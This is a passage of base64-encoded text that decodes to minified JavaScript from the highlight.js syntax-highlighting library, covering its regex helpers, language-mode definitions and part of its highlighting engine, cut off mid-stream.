oiKX1mdW5jdGlvbiBiKGUpe3JldHVybiBtKCIoPzoiLGUsIik/Iil9CmZ1bmN0aW9uIG0oLi4uZSl7cmV0dXJuIGUubWFwKChlPT5kKGUpKSkuam9pbigiIil9ZnVuY3Rpb24gcCguLi5lKXtjb25zdCBuPShlPT57CmNvbnN0IG49ZVtlLmxlbmd0aC0xXQo7cmV0dXJuIm9iamVjdCI9PXR5cGVvZiBuJiZuLmNvbnN0cnVjdG9yPT09T2JqZWN0PyhlLnNwbGljZShlLmxlbmd0aC0xLDEpLG4pOnt9Cn0pKGUpO3JldHVybiIoIisobi5jYXB0dXJlPyIiOiI/OiIpK2UubWFwKChlPT5kKGUpKSkuam9pbigifCIpKyIpIn0KZnVuY3Rpb24gXyhlKXtyZXR1cm4gUmVnRXhwKGUudG9TdHJpbmcoKSsifCIpLmV4ZWMoIiIpLmxlbmd0aC0xfQpjb25zdCBoPS9cWyg/OlteXFxcXV18XFwuKSpcXXxcKFw/P3xcXChbMS05XVswLTldKil8XFwuLwo7ZnVuY3Rpb24gZihlLHtqb2luV2l0aDpufSl7bGV0IHQ9MDtyZXR1cm4gZS5tYXAoKGU9Pnt0Kz0xO2NvbnN0IG49dAo7bGV0IGE9ZChlKSxpPSIiO2Zvcig7YS5sZW5ndGg+MDspe2NvbnN0IGU9aC5leGVjKGEpO2lmKCFlKXtpKz1hO2JyZWFrfQppKz1hLnN1YnN0cmluZygwLGUuaW5kZXgpLAphPWEuc3Vic3RyaW5nKGUuaW5kZXgrZVswXS5sZW5ndGgpLCJcXCI9PT1lWzBdWzBdJiZlWzFdP2krPSJcXCIrKE51bWJlcihlWzFdKStuKTooaSs9ZVswXSwKIigiPT09ZVswXSYmdCsrKX1yZXR1cm4gaX0pKS5tYXAoKGU9PmAoJHtlfSlgKSkuam9pbihuKX0KY29uc3QgRT0iW2EtekEtWl1cXHcqIix5PSJbYS16QS1aX11cXHcqIix3PSJcXGJcXGQrKFxcLlxcZCspPyIsTj0iKC0/KShcXGIwW3hYXVthLWZBLUYwLTldK3woXFxiXFxkKyhcXC5cXGQqKT98XFwuXFxkKykoW2VFXVstK10/XFxkKyk/KSIsdj0iXFxiKDBiWzAxXSspIixPPXsKYmVnaW46IlxcXFxbXFxzXFxTXSIscmVsZXZhbmNlOjB9LGs9e3Njb3BlOiJzdHJpbmciLGJlZ2luOiInIixlbmQ6IiciLAppbGxlZ2FsOiJcXG4iLGNvbnRhaW5zOltPXX0seD17c2NvcGU6InN0cmluZyIsYmVnaW46JyInLGVuZDonIicsaWxsZWdhbDoiXFxuIiwKY29udGFpbnM6W09dfSxNPShlLG4sdD17fSk9Pntjb25zdCBhPWkoe3Njb3BlOiJjb21tZW50IixiZWdpbjplLGVuZDpuLApjb250YWluczpbXX0sdCk7YS5jb250YWlucy5wdXNoKHtzY29wZToiZG9jdGFnIiwKYmVnaW46IlsgXSooPz0oVE9ET3xGSVhNRXxOT1RFfEJVR3xPUFRJTUlaRXxIQUNLfFhYWCk6KSIsCmVuZDovKFRPRE98RklYTUV8Tk9URXxCVUd8T1BUSU1JWkV8SEFDS3xYWFgpOi8sZXhjbHVkZUJlZ2luOiEwLHJlbGV2YW5jZTowfSkKO2NvbnN0IHI9cCgiSSIsImEiLCJpcyIsInNvIiwidXMiLCJ0byIsImF0IiwiaWYiLCJpbiIsIml0Iiwib24iLC9bQS1aYS16XStbJ10oZHx2ZXxyZXxsbHx0fHN8bikvLC9bQS1aYS16XStbLV1bYS16XSsvLC9bQS1aYS16XVthLXpdezIsfS8pCjtyZXR1cm4gYS5jb250YWlucy5wdXNoKHtiZWdpbjptKC9bIF0rLywiKCIsciwvWy5dP1s6XT8oWy5dWyBdfFsgXSkvLCIpezN9Iil9KSxhCn0sUz1NKCIvLyIsIiQiKSxBPU0oIi9cXCoiLCJcXCovIiksQz1NKCIjIiwiJCIpO3ZhciBUPU9iamVjdC5mcmVlemUoewpfX3Byb3RvX186bnVsbCxNQVRDSF9OT1RISU5HX1JFOi9cYlxCLyxJREVOVF9SRTpFLFVOREVSU0NPUkVfSURFTlRfUkU6eSwKTlVNQkVSX1JFOncsQ19OVU1CRVJfUkU6TixCSU5BUllfTlVNQkVSX1JFOnYsClJFX1NUQVJURVJTX1JFOiIhfCE9fCE9PXwlfCU9fCZ8JiZ8Jj18XFwqfFxcKj18XFwrfFxcKz18LHwtfC09fC89fC98Onw7fDw8fDw8PXw8PXw8fD09PXw9PXw9fD4+Pj18Pj49fD49fD4+Pnw+Pnw+fFxcP3xcXFt8XFx7fFxcKHxcXF58XFxePXxcXHx8XFx8PXxcXHxcXHx8fiIsClNIRUJBTkc6KGU9e30pPT57Y29uc3Qgbj0vXiMhWyBdKlwvLwo7cmV0dXJuIGUuYmluYXJ5JiYoZS5iZWdpbj1tKG4sLy4qXGIvLGUuYmluYXJ5LC9cYi4qLykpLGkoe3Njb3BlOiJtZXRhIixiZWdpbjpuLAplbmQ6LyQvLHJlbGV2YW5jZTowLCJvbjpiZWdpbiI6KGUsbik9PnswIT09ZS5pbmRleCYmbi5pZ25vcmVNYXRjaCgpfX0sZSl9LApCQUNLU0xBU0hfRVNDQVBFOk8sQVBPU19TVFJJTkdfTU9ERTprLFFVT1RFX1NUUklOR19NT0RFOngsUEhSQVNBTF9XT1JEU19NT0RFOnsKYmVnaW46L1xiKGF8YW58dGhlfGFyZXxJJ218aXNuJ3R8ZG9uJ3R8ZG9lc24ndHx3b24ndHxidXR8anVzdHxzaG91bGR8cHJldHR5fHNpbXBseXxlbm91Z2h8Z29ubmF8Z29pbmd8d3RmfHNvfHN1Y2h8d2lsbHx5b3V8eW91cnx0aGV5fGxpa2V8bW9yZSlcYi8KfSxDT01NRU5UOk0sQ19MSU5FX0NPTU1FTlRfTU9ERTpTLENfQkxPQ0tfQ09NTUVOVF9NT0RFOkEsSEFTSF9DT01NRU5UX01PREU6QywKTlVNQkVSX01PREU6e3Njb3BlOiJudW1iZXIiLGJlZ2luOncscmVsZXZhbmNlOjB9LENfTlVNQkVSX01PREU6e3Njb3BlOiJudW1iZXIiLApiZWdpbjpOLHJlbGV2YW5jZTowfSxCSU5BUllfTlVNQkVSX01PREU6e3Njb3BlOiJudW1iZXIiLGJlZ2luOnYscmVsZXZhbmNlOjB9LApSRUdFWFBfTU9ERTp7YmVnaW46Lyg/PVwvW14vXG5dKlwvKS8sY29udGFpbnM6W3tzY29wZToicmVnZXhwIixiZWdpbjovXC8vLAplbmQ6L1wvW2dpbXV5XSovLGlsbGVnYWw6L1xuLyxjb250YWluczpbTyx7YmVnaW46L1xbLyxlbmQ6L1xdLyxyZWxldmFuY2U6MCwKY29udGFpbnM6W09dfV19XX0sVElUTEVfTU9ERTp7c2NvcGU6InRpdGxlIixiZWdpbjpFLHJlbGV2YW5jZTowfSwKVU5ERVJTQ09SRV9USVRMRV9NT0RFOntzY29wZToidGl0bGUiLGJlZ2luOnkscmVsZXZhbmNlOjB9LE1FVEhPRF9HVUFSRDp7CmJlZ2luOiJcXC5cXHMqW2EtekEtWl9dXFx3KiIscmVsZXZhbmNlOjB9LEVORF9TQU1FX0FTX0JFR0lOOmU9Pk9iamVjdC5hc3NpZ24oZSx7CiJvbjpiZWdpbiI6KGUsbik9PntuLmRhdGEuX2JlZ2luTWF0Y2g9ZVsxXX0sIm9uOmVuZCI6KGUsbik9PnsKbi5kYXRhLl9iZWdpbk1hdGNoIT09ZVsxXSYmbi5pZ25vcmVNYXRjaCgpfX0pfSk7ZnVuY3Rpb24gUihlLG4pewoiLiI9PT1lLmlucHV0W2UuaW5kZXgtMV0mJm4uaWdub3JlTWF0Y2goKX1mdW5jdGlvbiBEKGUsbil7CnZvaWQgMCE9PWUuY2xhc3NOYW1lJiYoZS5zY29wZT1lLmNsYXNzTmFtZSxkZWxldGUgZS5jbGFzc05hbWUpfWZ1bmN0aW9uIEkoZSxuKXsKbiYmZS5iZWdpbktleXdvcmRzJiYoZS5iZWdpbj0iXFxiKCIrZS5iZWdpbktleXdvcmRzLnNwbGl0KCIgIikuam9pbigifCIpKyIpKD8hXFwuKSg/PVxcYnxcXHMpIiwKZS5fX2JlZm9yZUJlZ2luPVIsZS5rZXl3b3Jkcz1lLmtleXdvcmRzfHxlLmJlZ2luS2V5d29yZHMsZGVsZXRlIGUuYmVnaW5LZXl3b3JkcywKdm9pZCAwPT09ZS5yZWxldmFuY2UmJihlLnJlbGV2YW5jZT0wKSl9ZnVuY3Rpb24gTChlLG4pewpBcnJheS5pc0FycmF5KGUuaWxsZWdhbCkmJihlLmlsbGVnYWw9cCguLi5lLmlsbGVnYWwpKX1mdW5jdGlvbiBCKGUsbil7CmlmKGUubWF0Y2gpewppZihlLmJlZ2lufHxlLmVuZCl0aHJvdyBFcnJvcigiYmVnaW4gJiBlbmQgYXJlIG5vdCBzdXBwb3J0ZWQgd2l0aCBtYXRjaCIpCjtlLmJlZ2luPWUubWF0Y2gsZGVsZXRlIGUubWF0Y2h9fWZ1bmN0aW9uICQoZSxuKXsKdm9pZCAwPT09ZS5yZWxldmFuY2UmJihlLnJlbGV2YW5jZT0xKX1jb25zdCB6PShlLG4pPT57aWYoIWUuYmVmb3JlTWF0Y2gpcmV0dXJuCjtpZihlLnN0YXJ0cyl0aHJvdyBFcnJvcigiYmVmb3JlTWF0Y2ggY2Fubm90IGJlIHVzZWQgd2l0aCBzdGFydHMiKQo7Y29uc3QgdD1PYmplY3QuYXNzaWduKHt9LGUpO09iamVjdC5rZXlzKGUpLmZvckVhY2goKG49PntkZWxldGUgZVtuXQp9KSksZS5rZXl3b3Jkcz10LmtleXdvcmRzLGUuYmVnaW49bSh0LmJlZm9yZU1hdGNoLGcodC5iZWdpbikpLGUuc3RhcnRzPXsKcmVsZXZhbmNlOjAsY29udGFpbnM6W09iamVjdC5hc3NpZ24odCx7ZW5kc1BhcmVudDohMH0pXQp9LGUucmVsZXZhbmNlPTAsZGVsZXRlIHQuYmVmb3JlTWF0Y2gKfSxGPVsib2YiLCJhbmQiLCJmb3IiLCJpbiIsIm5vdCIsIm9yIiwiaWYiLCJ0aGVuIiwicGFyZW50IiwibGlzdCIsInZhbHVlIl0KO2Z1bmN0aW9uIFUoZSxuLHQ9ImtleXdvcmQiKXtjb25zdCBhPU9iamVjdC5jcmVhdGUobnVsbCkKO3JldHVybiJzdHJpbmciPT10eXBlb2YgZT9pKHQsZS5zcGxpdCgiICIpKTpBcnJheS5pc0FycmF5KGUpP2kodCxlKTpPYmplY3Qua2V5cyhlKS5mb3JFYWNoKCh0PT57Ck9iamVjdC5hc3NpZ24oYSxVKGVbdF0sbix0KSl9KSksYTtmdW5jdGlvbiBpKGUsdCl7Cm4mJih0PXQubWFwKChlPT5lLnRvTG93ZXJDYXNlKCkpKSksdC5mb3JFYWNoKChuPT57Y29uc3QgdD1uLnNwbGl0KCJ8IikKO2FbdFswXV09W2Usaih0WzBdLHRbMV0pXX0pKX19ZnVuY3Rpb24gaihlLG4pewpyZXR1cm4gbj9OdW1iZXIobik6KGU9PkYuaW5jbHVkZXMoZS50b0xvd2VyQ2FzZSgpKSkoZSk/MDoxfWNvbnN0IFA9e30sSz1lPT57CmNvbnNvbGUuZXJyb3IoZSl9LEg9KGUsLi4ubik9Pntjb25zb2xlLmxvZygiV0FSTjogIitlLC4uLm4pfSxxPShlLG4pPT57ClBbYCR7ZX0vJHtufWBdfHwoY29uc29sZS5sb2coYERlcHJlY2F0ZWQgYXMgb2YgJHtlfS4gJHtufWApLFBbYCR7ZX0vJHtufWBdPSEwKQp9LFo9RXJyb3IoKTtmdW5jdGlvbiBHKGUsbix7a2V5OnR9KXtsZXQgYT0wO2NvbnN0IGk9ZVt0XSxyPXt9LHM9e30KO2ZvcihsZXQgZT0xO2U8PW4ubGVuZ3RoO2UrKylzW2UrYV09aVtlXSxyW2UrYV09ITAsYSs9XyhuW2UtMV0pCjtlW3RdPXMsZVt0XS5fZW1pdD1yLGVbdF0uX211bHRpPSEwfWZ1bmN0aW9uIFcoZSl7KGU9PnsKZS5zY29wZSYmIm9iamVjdCI9PXR5cGVvZiBlLnNjb3BlJiZudWxsIT09ZS5zY29wZSYmKGUuYmVnaW5TY29wZT1lLnNjb3BlLApkZWxldGUgZS5zY29wZSl9KShlKSwic3RyaW5nIj09dHlwZW9mIGUuYmVnaW5TY29wZSYmKGUuYmVnaW5TY29wZT17Cl93cmFwOmUuYmVnaW5TY29wZX0pLCJzdHJpbmciPT10eXBlb2YgZS5lbmRTY29wZSYmKGUuZW5kU2NvcGU9e193cmFwOmUuZW5kU2NvcGUKfSksKGU9PntpZihBcnJheS5pc0FycmF5KGUuYmVnaW4pKXsKaWYoZS5za2lwfHxlLmV4Y2x1ZGVCZWdpbnx8ZS5yZXR1cm5CZWdpbil0aHJvdyBLKCJza2lwLCBleGNsdWRlQmVnaW4sIHJldHVybkJlZ2luIG5vdCBjb21wYXRpYmxlIHdpdGggYmVnaW5TY29wZToge30iKSwKWgo7aWYoIm9iamVjdCIhPXR5cGVvZiBlLmJlZ2luU2NvcGV8fG51bGw9PT1lLmJlZ2luU2NvcGUpdGhyb3cgSygiYmVnaW5TY29wZSBtdXN0IGJlIG9iamVjdCIpLApaO0coZSxlLmJlZ2luLHtrZXk6ImJlZ2luU2NvcGUifSksZS5iZWdpbj1mKGUuYmVnaW4se2pvaW5XaXRoOiIifSl9fSkoZSksKGU9PnsKaWYoQXJyYXkuaXNBcnJheShlLmVuZCkpewppZihlLnNraXB8fGUuZXhjbHVkZUVuZHx8ZS5yZXR1cm5FbmQpdGhyb3cgSygic2tpcCwgZXhjbHVkZUVuZCwgcmV0dXJuRW5kIG5vdCBjb21wYXRpYmxlIHdpdGggZW5kU2NvcGU6IHt9IiksCloKO2lmKCJvYmplY3QiIT10eXBlb2YgZS5lbmRTY29wZXx8bnVsbD09PWUuZW5kU2NvcGUpdGhyb3cgSygiZW5kU2NvcGUgbXVzdCBiZSBvYmplY3QiKSwKWjtHKGUsZS5lbmQse2tleToiZW5kU2NvcGUifSksZS5lbmQ9ZihlLmVuZCx7am9pbldpdGg6IiJ9KX19KShlKX1mdW5jdGlvbiBRKGUpewpmdW5jdGlvbiBuKG4sdCl7CnJldHVybiBSZWdFeHAoZChuKSwibSIrKGUuY2FzZV9pbnNlbnNpdGl2ZT8iaSI6IiIpKyhlLnVuaWNvZGVSZWdleD8idSI6IiIpKyh0PyJnIjoiIikpCn1jbGFzcyB0e2NvbnN0cnVjdG9yKCl7CnRoaXMubWF0Y2hJbmRleGVzPXt9LHRoaXMucmVnZXhlcz1bXSx0aGlzLm1hdGNoQXQ9MSx0aGlzLnBvc2l0aW9uPTB9CmFkZFJ1bGUoZSxuKXsKbi5wb3NpdGlvbj10aGlzLnBvc2l0aW9uKyssdGhpcy5tYXRjaEluZGV4ZXNbdGhpcy5tYXRjaEF0XT1uLHRoaXMucmVnZXhlcy5wdXNoKFtuLGVdKSwKdGhpcy5tYXRjaEF0Kz1fKGUpKzF9Y29tcGlsZSgpezA9PT10aGlzLnJlZ2V4ZXMubGVuZ3RoJiYodGhpcy5leGVjPSgpPT5udWxsKQo7Y29uc3QgZT10aGlzLnJlZ2V4ZXMubWFwKChlPT5lWzFdKSk7dGhpcy5tYXRjaGVyUmU9bihmKGUse2pvaW5XaXRoOiJ8Igp9KSwhMCksdGhpcy5sYXN0SW5kZXg9MH1leGVjKGUpe3RoaXMubWF0Y2hlclJlLmxhc3RJbmRleD10aGlzLmxhc3RJbmRleAo7Y29uc3Qgbj10aGlzLm1hdGNoZXJSZS5leGVjKGUpO2lmKCFuKXJldHVybiBudWxsCjtjb25zdCB0PW4uZmluZEluZGV4KCgoZSxuKT0+bj4wJiZ2b2lkIDAhPT1lKSksYT10aGlzLm1hdGNoSW5kZXhlc1t0XQo7cmV0dXJuIG4uc3BsaWNlKDAsdCksT2JqZWN0LmFzc2lnbihuLGEpfX1jbGFzcyBhe2NvbnN0cnVjdG9yKCl7CnRoaXMucnVsZXM9W10sdGhpcy5tdWx0aVJlZ2V4ZXM9W10sCnRoaXMuY291bnQ9MCx0aGlzLmxhc3RJbmRleD0wLHRoaXMucmVnZXhJbmRleD0wfWdldE1hdGNoZXIoZSl7CmlmKHRoaXMubXVsdGlSZWdleGVzW2VdKXJldHVybiB0aGlzLm11bHRpUmVnZXhlc1tlXTtjb25zdCBuPW5ldyB0CjtyZXR1cm4gdGhpcy5ydWxlcy5zbGljZShlKS5mb3JFYWNoKCgoW2UsdF0pPT5uLmFkZFJ1bGUoZSx0KSkpLApuLmNvbXBpbGUoKSx0aGlzLm11bHRpUmVnZXhlc1tlXT1uLG59cmVzdW1pbmdTY2FuQXRTYW1lUG9zaXRpb24oKXsKcmV0dXJuIDAhPT10aGlzLnJlZ2V4SW5kZXh9Y29uc2lkZXJBbGwoKXt0aGlzLnJlZ2V4SW5kZXg9MH1hZGRSdWxlKGUsbil7CnRoaXMucnVsZXMucHVzaChbZSxuXSksImJlZ2luIj09PW4udHlwZSYmdGhpcy5jb3VudCsrfWV4ZWMoZSl7CmNvbnN0IG49dGhpcy5nZXRNYXRjaGVyKHRoaXMucmVnZXhJbmRleCk7bi5sYXN0SW5kZXg9dGhpcy5sYXN0SW5kZXgKO2xldCB0PW4uZXhlYyhlKQo7aWYodGhpcy5yZXN1bWluZ1NjYW5BdFNhbWVQb3NpdGlvbigpKWlmKHQmJnQuaW5kZXg9PT10aGlzLmxhc3RJbmRleCk7ZWxzZXsKY29uc3Qgbj10aGlzLmdldE1hdGNoZXIoMCk7bi5sYXN0SW5kZXg9dGhpcy5sYXN0SW5kZXgrMSx0PW4uZXhlYyhlKX0KcmV0dXJuIHQmJih0aGlzLnJlZ2V4SW5kZXgrPXQucG9zaXRpb24rMSwKdGhpcy5yZWdleEluZGV4PT09dGhpcy5jb3VudCYmdGhpcy5jb25zaWRlckFsbCgpKSx0fX0KaWYoZS5jb21waWxlckV4dGVuc2lvbnN8fChlLmNvbXBpbGVyRXh0ZW5zaW9ucz1bXSksCmUuY29udGFpbnMmJmUuY29udGFpbnMuaW5jbHVkZXMoInNlbGYiKSl0aHJvdyBFcnJvcigiRVJSOiBjb250YWlucyBgc2VsZmAgaXMgbm90IHN1cHBvcnRlZCBhdCB0aGUgdG9wLWxldmVsIG9mIGEgbGFuZ3VhZ2UuICBTZWUgZG9jdW1lbnRhdGlvbi4iKQo7cmV0dXJuIGUuY2xhc3NOYW1lQWxpYXNlcz1pKGUuY2xhc3NOYW1lQWxpYXNlc3x8e30pLGZ1bmN0aW9uIHQocixzKXtjb25zdCBvPXIKO2lmKHIuaXNDb21waWxlZClyZXR1cm4gbwo7W0QsQixXLHpdLmZvckVhY2goKGU9PmUocixzKSkpLGUuY29tcGlsZXJFeHRlbnNpb25zLmZvckVhY2goKGU9PmUocixzKSkpLApyLl9fYmVmb3JlQmVnaW49bnVsbCxbSSxMLCRdLmZvckVhY2goKGU9PmUocixzKSkpLHIuaXNDb21waWxlZD0hMDtsZXQgbD1udWxsCjtyZXR1cm4ib2JqZWN0Ij09dHlwZW9mIHIua2V5d29yZHMmJnIua2V5d29yZHMuJHBhdHRlcm4mJihyLmtleXdvcmRzPU9iamVjdC5hc3NpZ24oe30sci5rZXl3b3JkcyksCmw9ci5rZXl3b3Jkcy4kcGF0dGVybiwKZGVsZXRlIHIua2V5d29yZHMuJHBhdHRlcm4pLGw9bHx8L1x3Ky8sci5rZXl3b3JkcyYmKHIua2V5d29yZHM9VShyLmtleXdvcmRzLGUuY2FzZV9pbnNlbnNpdGl2ZSkpLApvLmtleXdvcmRQYXR0ZXJuUmU9bihsLCEwKSwKcyYmKHIuYmVnaW58fChyLmJlZ2luPS9cQnxcYi8pLG8uYmVnaW5SZT1uKG8uYmVnaW4pLHIuZW5kfHxyLmVuZHNXaXRoUGFyZW50fHwoci5lbmQ9L1xCfFxiLyksCnIuZW5kJiYoby5lbmRSZT1uKG8uZW5kKSksCm8udGVybWluYXRvckVuZD1kKG8uZW5kKXx8IiIsci5lbmRzV2l0aFBhcmVudCYmcy50ZXJtaW5hdG9yRW5kJiYoby50ZXJtaW5hdG9yRW5kKz0oci5lbmQ/InwiOiIiKStzLnRlcm1pbmF0b3JFbmQpKSwKci5pbGxlZ2FsJiYoby5pbGxlZ2FsUmU9bihyLmlsbGVnYWwpKSwKci5jb250YWluc3x8KHIuY29udGFpbnM9W10pLHIuY29udGFpbnM9W10uY29uY2F0KC4uLnIuY29udGFpbnMubWFwKChlPT4oZT0+KGUudmFyaWFudHMmJiFlLmNhY2hlZFZhcmlhbnRzJiYoZS5jYWNoZWRWYXJpYW50cz1lLnZhcmlhbnRzLm1hcCgobj0+aShlLHsKdmFyaWFudHM6bnVsbH0sbikpKSksZS5jYWNoZWRWYXJpYW50cz9lLmNhY2hlZFZhcmlhbnRzOlgoZSk/aShlLHsKc3RhcnRzOmUuc3RhcnRzP2koZS5zdGFydHMpOm51bGwKfSk6T2JqZWN0LmlzRnJvemVuKGUpP2koZSk6ZSkpKCJzZWxmIj09PWU/cjplKSkpKSxyLmNvbnRhaW5zLmZvckVhY2goKGU9Pnt0KGUsbykKfSkpLHIuc3RhcnRzJiZ0KHIuc3RhcnRzLHMpLG8ubWF0Y2hlcj0oZT0+e2NvbnN0IG49bmV3IGEKO3JldHVybiBlLmNvbnRhaW5zLmZvckVhY2goKGU9Pm4uYWRkUnVsZShlLmJlZ2luLHtydWxlOmUsdHlwZToiYmVnaW4iCn0pKSksZS50ZXJtaW5hdG9yRW5kJiZuLmFkZFJ1bGUoZS50ZXJtaW5hdG9yRW5kLHt0eXBlOiJlbmQiCn0pLGUuaWxsZWdhbCYmbi5hZGRSdWxlKGUuaWxsZWdhbCx7dHlwZToiaWxsZWdhbCJ9KSxufSkobyksb30oZSl9ZnVuY3Rpb24gWChlKXsKcmV0dXJuISFlJiYoZS5lbmRzV2l0aFBhcmVudHx8WChlLnN0YXJ0cykpfWNsYXNzIFYgZXh0ZW5kcyBFcnJvcnsKY29uc3RydWN0b3IoZSxuKXtzdXBlcihlKSx0aGlzLm5hbWU9IkhUTUxJbmplY3Rpb25FcnJvciIsdGhpcy5odG1sPW59fQpjb25zdCBKPWEsWT1pLGVlPVN5bWJvbCgibm9tYXRjaCIpO3ZhciBuZT0obj0+ewpjb25zdCBhPU9iamVjdC5jcmVhdGUobnVsbCksaT1PYmplY3QuY3JlYXRlKG51bGwpLHI9W107bGV0IHM9ITAKO2NvbnN0IG89IkNvdWxkIG5vdCBmaW5kIHRoZSBsYW5ndWFnZSAne30nLCBkaWQgeW91IGZvcmdldCB0byBsb2FkL2luY2x1ZGUgYSBsYW5ndWFnZSBtb2R1bGU/IixsPXsKZGlzYWJsZUF1dG9kZXRlY3Q6ITAsbmFtZToiUGxhaW4gdGV4dCIsY29udGFpbnM6W119O2xldCBkPXsKaWdub3JlVW5lc2NhcGVkSFRNTDohMSx0aHJvd1VuZXNjYXBlZEhUTUw6ITEsbm9IaWdobGlnaHRSZTovXihuby0/aGlnaGxpZ2h0KSQvaSwKbGFuZ3VhZ2VEZXRlY3RSZTovXGJsYW5nKD86dWFnZSk/LShbXHctXSspXGIvaSxjbGFzc1ByZWZpeDoiaGxqcy0iLApjc3NTZWxlY3RvcjoicHJlIGNvZGUiLGxhbmd1YWdlczpudWxsLF9fZW1pdHRlcjpjfTtmdW5jdGlvbiBfKGUpewpyZXR1cm4gZC5ub0hpZ2hsaWdodFJlLnRlc3QoZSl9ZnVuY3Rpb24gaChlLG4sdCl7bGV0IGE9IiIsaT0iIgo7Im9iamVjdCI9PXR5cGVvZiBuPyhhPWUsCnQ9bi5pZ25vcmVJbGxlZ2FscyxpPW4ubGFuZ3VhZ2UpOihxKCIxMC43LjAiLCJoaWdobGlnaHQobGFuZywgY29kZSwgLi4uYXJncykgaGFzIGJlZW4gZGVwcmVjYXRlZC4iKSwKcSgiMTAuNy4wIiwiUGxlYXNlIHVzZSBoaWdobGlnaHQoY29kZSwgb3B0aW9ucykgaW5zdGVhZC5cbmh0dHBzOi8vZ2l0aHViLmNvbS9oaWdobGlnaHRqcy9oaWdobGlnaHQuanMvaXNzdWVzLzIyNzciKSwKaT1lLGE9biksdm9pZCAwPT09dCYmKHQ9ITApO2NvbnN0IHI9e2NvZGU6YSxsYW5ndWFnZTppfTt4KCJiZWZvcmU6aGlnaGxpZ2h0IixyKQo7Y29uc3Qgcz1yLnJlc3VsdD9yLnJlc3VsdDpmKHIubGFuZ3VhZ2Usci5jb2RlLHQpCjtyZXR1cm4gcy5jb2RlPXIuY29kZSx4KCJhZnRlcjpoaWdobGlnaHQiLHMpLHN9ZnVuY3Rpb24gZihlLG4saSxyKXsKY29uc3QgbD1PYmplY3QuY3JlYXRlKG51bGwpO2Z1bmN0aW9uIGMoKXtpZighay5rZXl3b3JkcylyZXR1cm4gdm9pZCBNLmFkZFRleHQoUykKO2xldCBlPTA7ay5rZXl3b3JkUGF0dGVyblJlLmxhc3RJbmRleD0wO2xldCBuPWsua2V5d29yZFBhdHRlcm5SZS5leGVjKFMpLHQ9IiIKO2Zvcig7bjspe3QrPVMuc3Vic3RyaW5nKGUsbi5pbmRleCkKO2NvbnN0IGk9dy5jYXNlX2luc2Vuc2l0aXZlP25bMF0udG9Mb3dlckNhc2UoKTpuWzBdLHI9KGE9aSxrLmtleXdvcmRzW2FdKTtpZihyKXsKY29uc3RbZSxhXT1yCjtpZihNLmFkZFRleHQodCksdD0iIixsW2ldPShsW2ldfHwwKSsxLGxbaV08PTcmJihBKz1hKSxlLnN0YXJ0c1dpdGgoIl8iKSl0Kz1uWzBdO2Vsc2V7CmNvbnN0IHQ9dy5jbGFzc05hbWVBbGlhc2VzW2VdfHxlO00uYWRkS2V5d29yZChuWzBdLHQpfX1lbHNlIHQrPW5bMF0KO2U9ay5rZXl3b3JkUGF0dGVyblJlLmxhc3RJbmRleCxuPWsua2V5d29yZFBhdHRlcm5SZS5leGVjKFMpfXZhciBhCjt0Kz1TLnN1YnN0cmluZyhlKSxNLmFkZFRleHQodCl9ZnVuY3Rpb24gZygpe251bGwhPWsuc3ViTGFuZ3VhZ2U/KCgpPT57CmlmKCIiPT09UylyZXR1cm47bGV0IGU9bnVsbDtpZigic3RyaW5nIj09dHlwZW9mIGsuc3ViTGFuZ3VhZ2UpewppZighYVtrLnN1Ykxhbmd1YWdlXSlyZXR1cm4gdm9pZCBNLmFkZFRleHQoUykKO2U9ZihrLnN1Ykxhbmd1YWdlLFMsITAseFtrLnN1Ykxhbmd1YWdlXSkseFtrLnN1Ykxhbmd1YWdlXT1lLl90b3AKfWVsc2UgZT1FKFMsay5zdWJMYW5ndWFnZS5sZW5ndGg/ay5zdWJMYW5ndWFnZTpudWxsKQo7ay5yZWxldmFuY2U+MCYmKEErPWUucmVsZXZhbmNlKSxNLmFkZFN1Ymxhbmd1YWdlKGUuX2VtaXR0ZXIsZS5sYW5ndWFnZSkKfSkoKTpjKCksUz0iIn1mdW5jdGlvbiB1KGUsbil7bGV0IHQ9MTtjb25zdCBhPW4ubGVuZ3RoLTE7Zm9yKDt0PD1hOyl7CmlmKCFlLl9lbWl0W3RdKXt0Kys7Y29udGludWV9Y29uc3QgYT13LmNsYXNzTmFtZUFsaWFzZXNbZVt0XV18fGVbdF0saT1uW3RdCjthP00uYWRkS2V5d29yZChpLGEpOihTPWksYygpLFM9IiIpLHQrK319ZnVuY3Rpb24gYihlLG4pewpyZXR1cm4gZS5zY29wZSYmInN0cmluZyI9PXR5cGVvZiBlLnNjb3BlJiZNLm9wZW5Ob2RlKHcuY2xhc3NOYW1lQWxpYXNlc1tlLnNjb3BlXXx8ZS5zY29wZSksCmUuYmVnaW5TY29wZSYmKGUuYmVnaW5TY29wZS5fd3JhcD8oTS5hZGRLZXl3b3JkKFMsdy5jbGFzc05hbWVBbGlhc2VzW2UuYmVnaW5TY29wZS5fd3JhcF18fGUuYmVnaW5TY29wZS5fd3JhcCksClM9IiIpOmUuYmVnaW5TY29wZS5fbXVsdGkmJih1KGUuYmVnaW5TY29wZSxuKSxTPSIiKSksaz1PYmplY3QuY3JlYXRlKGUse3BhcmVudDp7CnZhbHVlOmt9fSksa31mdW5jdGlvbiBtKGUsbixhKXtsZXQgaT0oKGUsbik9Pntjb25zdCB0PWUmJmUuZXhlYyhuKQo7cmV0dXJuIHQmJjA9PT10LmluZGV4fSkoZS5lbmRSZSxhKTtpZihpKXtpZihlWyJvbjplbmQiXSl7Y29uc3QgYT1uZXcgdChlKQo7ZVsib246ZW5kIl0obixhKSxhLmlzTWF0Y2hJZ25vcmVkJiYoaT0hMSl9aWYoaSl7CmZvcig7ZS5lbmRzUGFyZW50JiZlLnBhcmVudDspZT1lLnBhcmVudDtyZXR1cm4gZX19CmlmKGUuZW5kc1dpdGhQYXJlbnQpcmV0dXJuIG0oZS5wYXJlbnQsbixhKX1mdW5jdGlvbiBwKGUpewpyZXR1cm4gMD09PWsubWF0Y2hlci5yZWdleEluZGV4PyhTKz1lWzBdLDEpOihSPSEwLDApfWZ1bmN0aW9uIF8oZSl7CmNvbnN0IHQ9ZVswXSxhPW4uc3Vic3RyaW5nKGUuaW5kZXgpLGk9bShrLGUsYSk7aWYoIWkpcmV0dXJuIGVlO2NvbnN0IHI9awo7ay5lbmRTY29wZSYmay5lbmRTY29wZS5fd3JhcD8oZygpLApNLmFkZEtleXdvcmQodCxrLmVuZFNjb3BlLl93cmFwKSk6ay5lbmRTY29wZSYmay5lbmRTY29wZS5fbXVsdGk/KGcoKSwKdShrLmVuZFNjb3BlLGUpKTpyLnNraXA/Uys9dDooci5yZXR1cm5FbmR8fHIuZXhjbHVkZUVuZHx8KFMrPXQpLApnKCksci5leGNsdWRlRW5kJiYoUz10KSk7ZG97Cmsuc2